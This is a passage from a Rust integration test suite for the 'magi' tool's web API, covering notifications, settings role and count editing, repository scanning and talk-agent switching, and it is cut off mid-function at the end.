12495        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
12496        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
12497
12498        store
12499            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
12500            .unwrap();
12501        let health = fx.get("/api/health").await.json();
12502        assert_eq!(health["notifications_unread"], 2);
12503        assert_ne!(
12504            health["notifications_rev"], rev0,
12505            "the badge must move live"
12506        );
12507
12508        let listed = fx.get("/api/notifications").await.json();
12509        assert_eq!(listed["unread"], 2);
12510        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
12511        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
12512
12513        let read = fx
12514            .post(&format!("/api/notifications/{}/read", a.id), None)
12515            .await;
12516        assert_eq!(read.status, 200, "{}", read.body);
12517        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
12518
12519        let gone = fx
12520            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
12521            .await;
12522        assert_eq!(gone.status, 200, "{}", gone.body);
12523        let listed = fx.get("/api/notifications").await.json();
12524        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
12525        assert_eq!(listed["unread"], 0);
12526
12527        store.raise(Notice::info("x", "again")).unwrap();
12528        let all = fx.post("/api/notifications/read-all", None).await;
12529        assert_eq!(all.status, 200, "{}", all.body);
12530        assert_eq!(all.json()["marked"], 1);
12531        assert_eq!(
12532            fx.get("/api/health").await.json()["notifications_unread"],
12533            0
12534        );
12535
12536        let missing = fx.post("/api/notifications/nope/read", None).await;
12537        assert_eq!(missing.status, 404, "{}", missing.body);
12538        assert!(missing.json()["error"].is_string());
12539    }
12540
12541    /// New work reaches the queue through `magi task add`, a standing talk's
12542    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
12543    /// so the compose form and that route are gone. The tests that covered
12544    /// that route's validation went with it, and nothing was left asserting
12545    /// it stays gone — so a re-added handler would silently let the phone
12546    /// file briefs no one validated.
12547    #[tokio::test]
12548    async fn a_task_cannot_be_filed_over_the_phone_directly() {
12549        let f = Fixture::start().await;
12550
12551        let res = f
12552            .post(
12553                "/api/queue",
12554                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
12555            )
12556            .await;
12557
12558        assert_eq!(
12559            res.status, 405,
12560            "POST /api/queue must not be a route: {}",
12561            res.body
12562        );
12563        assert!(
12564            f.queue().list().is_empty(),
12565            "a task filed by a route that does not exist must not reach the disk"
12566        );
12567        // The path itself is still served — the Queue view reads it — and the
12568        // per-task controls are untouched by the entry being removed.
12569        assert_eq!(f.get("/api/queue").await.status, 200);
12570    }
12571
12572    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
12573    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
12574        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
12575            .expect("checkout dir");
12576    }
12577
12578    /// Two command agents, so a config needs no real CLI.
12579    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
12580
12581    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
12582        let tmp = TempDir::new().expect("tempdir");
12583        let repo = tmp.path().join("repo");
12584        std::fs::create_dir_all(&repo).expect("repo dir");
12585        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
12586        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
12587        if let Some(text) = machine_toml {
12588            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
12589            std::fs::write(&machine, text).expect("machine toml");
12590        }
12591        (tmp, repo, machine)
12592    }
12593
12594    async fn settings_checkout(path: &FsPath, text: &str) {
12595        std::fs::create_dir_all(path).unwrap();
12596        std::fs::write(path.join("magi.toml"), text).unwrap();
12597        for args in [
12598            vec!["init", "-b", "main"],
12599            vec!["add", "magi.toml"],
12600            vec![
12601                "-c",
12602                "user.name=Test",
12603                "-c",
12604                "user.email=test@example.invalid",
12605                "commit",
12606                "-m",
12607                "fixture",
12608            ],
12609            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
12610            vec![
12611                "symbolic-ref",
12612                "refs/remotes/origin/HEAD",
12613                "refs/remotes/origin/main",
12614            ],
12615        ] {
12616            crate::git::git(path, &args).await.unwrap();
12617        }
12618    }
12619
12620    #[tokio::test]
12621    async fn settings_context_handlers_validate_and_save_without_a_socket() {
12622        let (tmp, repo, machine) =
12623            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
12624        let root = tmp.path().join("roots");
12625        let selected = root.join("host/owner/selected");
12626        settings_checkout(
12627            &selected,
12628            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
12629        )
12630        .await;
12631        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
12632        let before = std::fs::read(&machine).unwrap();
12633        let ui = Arc::new(
12634            Ui::new(
12635                Queue::at(tmp.path().join("queue")),
12636                Questions::at(tmp.path().join("questions")),
12637                Talks::at(tmp.path().join("talks")),
12638                tmp.path().join("runs"),
12639                tmp.path().to_path_buf(),
12640                repo.clone(),
12641            )
12642            .with_machine_config(Some(machine.clone())),
12643        );
12644        let query = || {
12645            Query(SettingsQuery {
12646                repo: Some(selected.clone()),
12647            })
12648        };
12649        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
12650        assert!(v.error.is_none(), "{:?}", v.error);
12651        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
12652        assert_eq!(conductor.source, "repo");
12653        assert_eq!(
12654            conductor.machine_value,
12655            Some(toml::Value::String("a".into()))
12656        );
12657        assert!(!conductor.editable);
12658        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
12659        assert_eq!(
12660            judges.count.as_ref().unwrap().machine_value,
12661            Some(toml::Value::Integer(1))
12662        );
12663        assert!(
12664            !v.roles
12665                .iter()
12666                .find(|r| r.key == "reviewers")
12667                .unwrap()
12668                .editable
12669        );
12670        let unknown = || {
12671            Query(SettingsQuery {
12672                repo: Some(tmp.path().to_path_buf()),
12673            })
12674        };
12675        assert_eq!(
12676            settings_get(State(ui.clone()), unknown())
12677                .await
12678                .unwrap_err()
12679                .status,
12680            StatusCode::UNPROCESSABLE_ENTITY
12681        );
12682        let body = || {
12683            Ok(Json(RolesBody {
12684                revision: v.revision.clone(),
12685                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
12686                counts: Default::default(),
12687            }))
12688        };
12689        assert_eq!(
12690            settings_put_roles(State(ui.clone()), unknown(), body())
12691                .await
12692                .unwrap_err()
12693                .status,
12694            StatusCode::UNPROCESSABLE_ENTITY
12695        );
12696        assert_eq!(std::fs::read(&machine).unwrap(), before);
12697        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
12698            .await
12699            .unwrap();
12700        assert_eq!(
12701            saved.repo,
12702            selected.canonicalize().unwrap().display().to_string()
12703        );
12704        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
12705        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
12706        // A cache miss refreshes the stable candidate list exactly for validation.
12707        let fresh = root.join("host/owner/fresh");
12708        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
12709        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
12710            .await
12711            .unwrap();
12712        assert_eq!(fresh_view.repositories.len(), 3);
12713    }
12714
12715    #[tokio::test]
12716    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
12717        let (tmp, repo, machine) = settings_dirs(
12718            "[roles]\nreviewers = [\"a\"]\n",
12719            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
12720        );
12721        let root = tmp.path().join("roots");
12722        let selected = root.join("host/owner/selected");
12723        settings_checkout(
12724            &selected,
12725            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
12726        )
12727        .await;
12728        let broken = root.join("host/owner/broken");
12729        settings_checkout(&broken, "[roles\nbroken").await;
12730        let machine_text = format!(
12731            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
12732            toml::Value::String(root.display().to_string())
12733        );
12734        std::fs::write(&machine, &machine_text).unwrap();
12735        let originals: Vec<_> = [&repo, &selected, &broken]
12736            .iter()
12737            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
12738            .collect();
12739        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12740        let default = f.get("/api/settings").await.json();
12741        assert_eq!(
12742            default["repo"],
12743            repo.canonicalize().unwrap().display().to_string()
12744        );
12745        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
12746        let query = format!("?repo={}", selected.display());
12747        let res = f.get(&format!("/api/settings{query}")).await;
12748        assert_eq!(res.status, 200, "{}", res.body);
12749        let v = res.json();
12750        assert!(v["error"].is_null(), "{v}");
12751        assert_eq!(v["repositories"], default["repositories"]);
12752        let role = |key: &str| {
12753            v["roles"]
12754                .as_array()
12755                .unwrap()
12756                .iter()
12757                .find(|r| r["key"] == key)
12758                .unwrap()
12759        };
12760        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
12761        assert_eq!(role("advisors")["source"], "repo");
12762        assert_eq!(role("advisors")["editable"], false);
12763        assert!(role("advisors")["machine_value"].is_null());
12764        assert_eq!(role("judges")["count"]["value"], 2);
12765        assert_eq!(role("judges")["count"]["machine_value"], 1);
12766        assert_eq!(role("judges")["count"]["source"], "repo");
12767        let source = role("judges")["count"]["source_path"].as_str().unwrap();
12768        assert!(
12769            source.contains("origin/main") && !source.contains("magi/config/"),
12770            "{source}"
12771        );
12772        assert_eq!(
12773            role("reviewers")["editable"],
12774            false,
12775            "default context outside roots must protect its declarations"
12776        );
12777        let body =
12778            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
12779        let unknown = format!("?repo={}", tmp.path().display());
12780        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
12781        assert_eq!(
12782            f.put(&format!("/api/settings/roles{unknown}"), &body)
12783                .await
12784                .status,
12785            422
12786        );
12787        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
12788        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
12789            .to_string();
12790        assert_eq!(
12791            f.put(&format!("/api/settings/roles{query}"), &refuse)
12792                .await
12793                .status,
12794            422
12795        );
12796        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
12797        assert_eq!(saved.status, 200, "{}", saved.body);
12798        assert_eq!(saved.json()["repo"], v["repo"]);
12799        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
12800        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
12801        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
12802            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
12803        }
12804        let error = f
12805            .get(&format!("/api/settings?repo={}", broken.display()))
12806            .await;
12807        assert_eq!(error.status, 200);
12808        assert!(error.json()["error"]["message"].is_string());
12809        assert_eq!(error.json()["repositories"], default["repositories"]);
12810    }
12811
12812    #[tokio::test]
12813    async fn settings_get_reports_sources_and_the_advisors_fallback() {
12814        let (_tmp, repo, machine) =
12815            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
12816        let f = Fixture::with_repo_and_machine(repo, machine).await;
12817        let res = f.get("/api/settings").await;
12818        assert_eq!(res.status, 200, "{}", res.body);
12819        let v = res.json();
12820        assert!(v["error"].is_null(), "{v}");
12821        let role = |k: &str| {
12822            v["roles"]
12823                .as_array()
12824                .and_then(|r| r.iter().find(|x| x["key"] == k))
12825                .cloned()
12826                .unwrap_or_else(|| panic!("no role {k}: {v}"))
12827        };
12828        assert_eq!(role("judges")["source"], "machine");
12829        assert_eq!(role("judges")["editable"], true);
12830        assert_eq!(role("implementers")["source"], "default");
12831        let adv = role("advisors");
12832        assert_eq!(adv["fallback"], "judges");
12833        assert!(
12834            adv["seats"]
12835                .as_array()
12836                .is_some_and(|s| s.iter().all(|x| x == "b")),
12837            "{adv}"
12838        );
12839        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
12840        assert_eq!(v["agents"][0]["source"], "repo");
12841    }
12842
12843    #[tokio::test]
12844    async fn settings_get_reports_a_config_that_does_not_parse() {
12845        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
12846        let f = Fixture::with_repo_and_machine(repo, machine).await;
12847        let res = f.get("/api/settings").await;
12848        assert_eq!(res.status, 200, "{}", res.body);
12849        let v = res.json();
12850        assert!(v["error"]["message"].is_string(), "{v}");
12851        assert!(
12852            v["error"]["path"]
12853                .as_str()
12854                .is_some_and(|p| p.ends_with("magi.toml")),
12855            "{v}"
12856        );
12857        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
12858    }
12859
12860    #[tokio::test]
12861    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
12862        let (_tmp, repo, machine) = settings_dirs(
12863            SETTINGS_AGENTS,
12864            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
12865        );
12866        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
12867        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12868        let rev = f.get("/api/settings").await.json()["revision"]
12869            .as_str()
12870            .expect("revision")
12871            .to_owned();
12872        let body = serde_json::json!({
12873            "revision": rev,
12874            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
12875        })
12876        .to_string();
12877        let res = f.put("/api/settings/roles", &body).await;
12878        assert_eq!(res.status, 200, "{}", res.body);
12879        let text = std::fs::read_to_string(&machine).expect("machine");
12880        assert_eq!(
12881            text,
12882            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
12883        );
12884        assert_eq!(
12885            std::fs::read(repo.join("magi.toml")).expect("read"),
12886            repo_before
12887        );
12888        let again = f.get("/api/settings").await.json();
12889        let judges = again["roles"]
12890            .as_array()
12891            .expect("roles")
12892            .iter()
12893            .find(|r| r["key"] == "judges")
12894            .expect("judges")
12895            .clone();
12896        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
12897        // The old revision is now stale.
12898        let stale = f.put("/api/settings/roles", &body).await;
12899        assert_eq!(stale.status, 409, "{}", stale.body);
12900    }
12901
12902    #[tokio::test]
12903    async fn settings_counts_are_reported_and_saved() {
12904        let (_tmp, repo, machine) = settings_dirs(
12905            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
12906            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
12907        );
12908        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12909        let v = f.get("/api/settings").await.json();
12910        let count = |v: &serde_json::Value, k: &str| {
12911            v["roles"]
12912                .as_array()
12913                .and_then(|r| r.iter().find(|x| x["key"] == k))
12914                .map(|x| x["count"].clone())
12915                .unwrap_or_else(|| panic!("no role {k}: {v}"))
12916        };
12917        let imp = count(&v, "implementers");
12918        assert_eq!(imp["value"], 2);
12919        assert_eq!(imp["source"], "machine");
12920        assert_eq!(imp["file_key"], "candidates");
12921        assert_eq!(imp["roster_len"], 2);
12922        assert_eq!(imp["backups"], 0);
12923        assert_eq!(count(&v, "judges")["source"], "default");
12924        assert_eq!(count(&v, "advisors")["min"], 0);
12925        assert_eq!(count(&v, "reviewers")["editable"], false);
12926        assert!(
12927            count(&v, "reviewers")["locked_reason"]
12928                .as_str()
12929                .is_some_and(|m| m.contains("graph.reviewers"))
12930        );
12931        assert!(count(&v, "fixer").is_null());
12932        let rev = v["revision"].as_str().expect("revision").to_owned();
12933        let body = serde_json::json!({
12934            "revision": rev,
12935            "roles": { "judges": ["b"] },
12936            "counts": { "implementers": 1, "advisors": 0 }
12937        })
12938        .to_string();
12939        let res = f.put("/api/settings/roles", &body).await;
12940        assert_eq!(res.status, 200, "{}", res.body);
12941        let text = std::fs::read_to_string(&machine).expect("machine");
12942        assert_eq!(
12943            text,
12944            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
12945        );
12946        let after = f.get("/api/settings").await.json();
12947        assert_eq!(count(&after, "implementers")["value"], 1);
12948        assert_eq!(count(&after, "implementers")["backups"], 1);
12949        assert_eq!(count(&after, "advisors")["value"], 0);
12950        let before = std::fs::read_to_string(&machine).expect("machine");
12951        let rev = after["revision"].as_str().expect("revision").to_owned();
12952        for counts in [
12953            serde_json::json!({ "judges": 0 }),
12954            serde_json::json!({ "judges": "x" }),
12955            serde_json::json!({ "judges": 2.5 }),
12956            serde_json::json!({ "judges": -1 }),
12957            serde_json::json!({ "reviewers": 3 }),
12958            serde_json::json!({ "bogus": 3 }),
12959        ] {
12960            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
12961            let res = f.put("/api/settings/roles", &body).await;
12962            assert_eq!(res.status, 422, "{counts}: {}", res.body);
12963            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
12964        }
12965    }
12966
12967    #[tokio::test]
12968    async fn settings_put_refuses_without_touching_the_file() {
12969        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
12970        let (_tmp, repo, machine) = settings_dirs(
12971            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
12972            Some(machine_text),
12973        );
12974        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12975        let rev = f.get("/api/settings").await.json()["revision"]
12976            .as_str()
12977            .expect("revision")
12978            .to_owned();
12979        for roles in [
12980            serde_json::json!({ "judges": ["nope"] }),
12981            serde_json::json!({ "reviewers": ["b"] }),
12982            serde_json::json!({ "bogus": ["a"] }),
12983        ] {
12984            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
12985            let res = f.put("/api/settings/roles", &body).await;
12986            assert_eq!(res.status, 422, "{roles}: {}", res.body);
12987            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
12988            assert_eq!(
12989                std::fs::read_to_string(&machine).expect("machine"),
12990                machine_text
12991            );
12992        }
12993    }
12994
12995    #[tokio::test]
12996    async fn repos_list_returns_name_and_path_for_every_configured_root() {
12997        let tmp = TempDir::new().expect("tempdir");
12998        let repo = tmp.path().join("repo");
12999        std::fs::create_dir_all(&repo).expect("repo dir");
13000        let root = tmp.path().join("root");
13001        make_checkout(&root, "github.com", "yukimemi", "magi");
13002        std::fs::write(
13003            repo.join("magi.toml"),
13004            format!(
13005                "[repos]\nroots = [{:?}]\n",
13006                root.to_string_lossy().into_owned()
13007            ),
13008        )
13009        .expect("write magi.toml");
13010
13011        let f = Fixture::with_repo(repo).await;
13012        let res = f.get("/api/repos").await;
13013        assert_eq!(res.status, 200, "{}", res.body);
13014        let list = res.json();
13015        let repos = list.as_array().expect("an array");
13016        assert_eq!(repos.len(), 1);
13017        assert_eq!(repos[0]["name"], "yukimemi/magi");
13018        assert!(
13019            repos[0]["path"]
13020                .as_str()
13021                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13022            "{list}"
13023        );
13024    }
13025
13026    #[tokio::test]
13027    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13028        let tmp = TempDir::new().expect("tempdir");
13029        let repo = tmp.path().join("repo");
13030        std::fs::create_dir_all(&repo).expect("repo dir");
13031        let root = tmp.path().join("root");
13032        make_checkout(&root, "github.com", "yukimemi", "magi");
13033        std::fs::write(
13034            repo.join("magi.toml"),
13035            format!(
13036                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13037                root.to_string_lossy().into_owned()
13038            ),
13039        )
13040        .expect("write magi.toml");
13041
13042        let f = Fixture::with_repo(repo).await;
13043        let first = f.get("/api/repos").await;
13044        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13045
13046        // A second checkout appears; within the TTL the cached answer must
13047        // not notice it.
13048        make_checkout(&root, "github.com", "yukimemi", "rvpm");
13049        let second = f.get("/api/repos").await;
13050        assert_eq!(
13051            second.json().as_array().map(Vec::len),
13052            Some(1),
13053            "a fresh cache must not rescan inside the TTL"
13054        );
13055
13056        let refreshed = f.get("/api/repos?refresh=1").await;
13057        assert_eq!(
13058            refreshed.json().as_array().map(Vec::len),
13059            Some(2),
13060            "an explicit refresh must rescan even inside the TTL"
13061        );
13062    }
13063
13064    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
13065    /// string, declared straight in a repository's own `magi.toml` rather
13066    /// than the operator's real roster. No real agent CLI is spawned - `sh`
13067    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
13068    /// this is safe to run over a real HTTP round trip.
13069    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13070
13071    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
13072    /// real `Config::discover` to find an agent - `talk::begin` resolves one
13073    /// even though it takes no turn, and `talk_say` invokes one.
13074    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13075        let tmp = TempDir::new().expect("tempdir");
13076        let repo = tmp.path().join("repo");
13077        std::fs::create_dir_all(&repo).expect("repo dir");
13078        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13079        let f = Fixture::with_repo(repo.clone()).await;
13080        (tmp, repo, f)
13081    }
13082
13083    #[tokio::test]
13084    async fn posting_a_talk_with_remembered_choices_is_soft() {
13085        let (_tmp, _repo, f) = talk_fixture().await;
13086
13087        let good = f
13088            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13089            .await;
13090        assert_eq!(good.status, 201, "{}", good.body);
13091        assert_eq!(good.json()["persona"], "rei");
13092
13093        // Wrong values and wrong types are dropped one by one, never a 4xx.
13094        let stale = f
13095            .post(
13096                "/api/talks",
13097                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13098            )
13099            .await;
13100        assert_eq!(stale.status, 201, "{}", stale.body);
13101        let v = stale.json();
13102        assert_eq!(v["implementers"], 1);
13103        assert_ne!(v["persona"], "nobody");
13104        let typed = f
13105            .post(
13106                "/api/talks",
13107                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13108            )
13109            .await;
13110        assert_eq!(typed.status, 201, "{}", typed.body);
13111
13112        // The strict `agent` field still refuses an unknown id.
13113        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13114        assert!(
13115            !strict.status.to_string().starts_with('2'),
13116            "{}",
13117            strict.body
13118        );
13119    }
13120
13121    #[tokio::test]
13122    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13123        let (_tmp, _repo, f) = talk_fixture().await;
13124
13125        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
13126        // is the ordinary way a phone opens a talk.
13127        let opened = f.post("/api/talks", None).await;
13128        assert_eq!(opened.status, 201, "{}", opened.body);
13129        let body = opened.json();
13130        assert_eq!(body["status"], "open");
13131        assert_eq!(
13132            body["turns"].as_array().unwrap().len(),
13133            0,
13134            "opening takes no agent turn: there is nothing yet to answer"
13135        );
13136
13137        // An explicit empty object is the same request as none at all.
13138        let also_opened = f.post("/api/talks", Some("{}")).await;
13139        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13140
13141        let listed = f.get("/api/talks").await.json();
13142        assert_eq!(listed.as_array().unwrap().len(), 2);
13143    }
13144
13145    #[tokio::test]
13146    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13147        let tmp = TempDir::new().expect("tempdir");
13148        let repo = tmp.path().join("repo");
13149        std::fs::create_dir_all(&repo).expect("repo dir");
13150        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13151        std::fs::write(
13152            repo.join("magi.toml"),
13153            format!("{MOCK_AGENT_TOML}\n{second}"),
13154        )
13155        .expect("write magi.toml");
13156        let home = TempDir::new().expect("temp home");
13157        let talks = Talks::at(home.path().join("talks"));
13158        let ui = Arc::new(
13159            Ui::new(
13160                Queue::at(home.path().join("queue")),
13161                Questions::at(home.path().join("questions")),
13162                talks.clone(),
13163                home.path().join("runs"),
13164                home.path().to_path_buf(),
13165                repo.clone(),
13166            )
13167            .with_worktrees_root(home.path().join("wt")),
13168        );
13169        let cfg = config_for(&repo).await.expect("discover config");
13170        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13171        let id = talk.id.clone();
13172        let call = |agent: &str| {
13173            talk_agent(
13174                State(Arc::clone(&ui)),
13175                Path(id.clone()),
13176                Json(TalkAgent {
13177                    agent: agent.to_owned(),
13178                }),
13179            )
13180        };
13181
13182        let unknown = call("nobody").await.expect_err("unknown agent");
13183        assert_eq!(
13184            unknown.status,
13185            StatusCode::BAD_REQUEST,
13186            "{}",
13187            unknown.message
13188        );
13189
13190        {
13191            // Nothing refused so far took a claim, so the guard is free to take
13192            // and holding it is what makes the talk busy.
13193            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13194            let busy = call("second").await.expect_err("busy talk");
13195            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13196            assert!(
13197                busy.message.contains("a talk turn is running"),
13198                "{}",
13199                busy.message
13200            );
13201            drop(guard);
13202        }
13203        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13204
13205        let Json(view) = call("second").await.expect("switch");
13206        assert_eq!(view.talk.agent, "second");
13207        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13208        let saved = talks.get(&id).expect("reload");
13209        assert_eq!(saved.agent, "second");
13210        assert_eq!(saved.turns.len(), 1);
13211        assert!(!view.thinking);
13212        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13213        for agent in ["mock", "second"] {
13214            let Json(view) = call(agent).await.expect("immediate consecutive change");
13215            assert_eq!(view.talk.agent, agent);
13216            assert!(!view.thinking);
13217            assert!(!ui.is_thinking(&id));
13218        }
13219
13220        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13221            .await
13222            .expect("detail");
13223        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13224        assert_eq!(roster, ["mock", "second"]);
13225
13226        let mut closed = talks.get(&id).expect("reload");
13227        talk::close(&mut closed, &talks).expect("close");
13228        let refused = call("mock").await.expect_err("closed talk");
13229        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13230        assert!(
13231            refused.message.contains("takes no more turns"),
13232            "{}",
13233            refused.message
13234        );
13235    }
13236
13237    #[tokio::test]
13238    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13239        let tmp = TempDir::new().expect("tempdir");
13240        let repo = tmp.path().join("repo");
13241        std::fs::create_dir_all(&repo).expect("repo dir");
13242        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13243        let home = TempDir::new().expect("temp home");
13244        let talks = Talks::at(home.path().join("talks"));
13245        let ui = Arc::new(
13246            Ui::new(
13247                Queue::at(home.path().join("queue")),
13248                Questions::at(home.path().join("questions")),
13249                talks.clone(),
13250                home.path().join("runs"),
13251                home.path().to_path_buf(),
13252                repo.clone(),
13253            )
13254            .with_worktrees_root(home.path().join("wt")),
13255        );
13256        let cfg = config_for(&repo).await.expect("discover config");
13257        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13258        let id = talk.id.clone();
13259        let call = |n: u8| {
13260            talk_implementers(
13261                State(Arc::clone(&ui)),
13262                Path(id.clone()),
13263                Json(TalkImplementers { implementers: n }),
13264            )
13265        };
13266
13267        for bad in [0u8, 4] {
13268            let e = call(bad).await.expect_err("out of range");
13269            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13270        }
13271        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13272
13273        {
13274            // Nothing refused so far took a claim, so the guard is free to take
13275            // and holding it is what makes the talk busy.
13276            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13277            let busy = call(2).await.expect_err("busy talk");
13278            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13279            assert!(
13280                busy.message.contains("a talk turn is running"),
13281                "{}",
13282                busy.message
13283            );
13284            drop(guard);
13285        }
13286
13287        let Json(view) = call(3).await.expect("switch");
13288        assert_eq!(view.talk.implementers, 3);
13289        assert!(talks.get(&id).expect("reload").implementers_dirty);
13290        assert!(!view.thinking);
13291        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13292        for n in [1, 2, 3] {
13293            let Json(view) = call(n).await.expect("immediate consecutive change");
13294            assert_eq!(view.talk.implementers, n);
13295            assert!(!view.thinking);
13296            assert!(!ui.is_thinking(&id));
13297        }
13298
13299        let mut closed = talks.get(&id).expect("reload");
13300        talk::close(&mut closed, &talks).expect("close");
13301        let e = call(2).await.expect_err("closed talk");
13302        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
13303        assert!(e.message.contains("takes no more turns"), "{}", e.message);
13304    }
13305
13306    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
13307    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
13308        let tmp = TempDir::new().expect("tempdir");
13309        let repo = tmp.path().join("repo");
13310        std::fs::create_dir_all(&repo).expect("repo dir");
13311        std::fs::write(
13312            repo.join("magi.toml"),
